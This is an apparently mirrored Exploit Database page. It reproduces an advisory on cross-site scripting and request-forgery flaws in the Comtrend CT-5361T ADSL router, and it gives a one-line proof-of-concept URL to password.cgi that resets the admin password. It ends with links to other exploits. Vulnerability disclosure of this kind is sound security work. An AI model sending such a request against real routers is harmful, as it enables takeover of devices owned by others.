COMTREND CT-5361T Router – ‘Password.cgi’ Cross-Site Request Forgery (Admin Password Manipulation)

Exploit Database
113 阅读

作者： TUNISIAN CYBER

日期： 2014-04-21
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/39154/

source: https://www.securityfocus.com/bid/67033/info

Comtrend CT-5361T ADSL Router is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.

An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add, delete or modify sensitive information, or perform unauthorized actions. Other attacks are also possible.

Comtrend CT-5361T firmware version A111-312SSG-T02_R01 is vulnerable; other versions may also be affected.

http://www.example.com/password.cgi?sysPassword=[Your Password]

last Exploits
COMTREND CT-5361T Router – ‘Password.cgi’ Cross-Site Request Forgery (Admin Password Manipulation)的更多信息

Xlink FTP Server – Remote Buffer Overflow (Metasploit)：
RoyalTSX 6.0.1 – RTSZ File Handling Heap Memory Corruption PoC：
PCMan FTP Server 2.0.7 – ‘PORT’ Remote Buffer Overflow：
Disk Pulse Enterprise 9.0.34 – ‘Login’ Remote Buffer Overflow (Metasploit)：
Sami FTP Server 2.0.1 – MKD Buffer Overflow ASLR Bypass (SEH)：
Java – Debug Wire Protocol Remote Code Execution (Metasploit)：
Mozilla Suite/Firefox – Navigator Object Code Execution (Metasploit)：
KMPlayer 2.9.3.1214 – ‘.ksf’ Remote Buffer Overflow：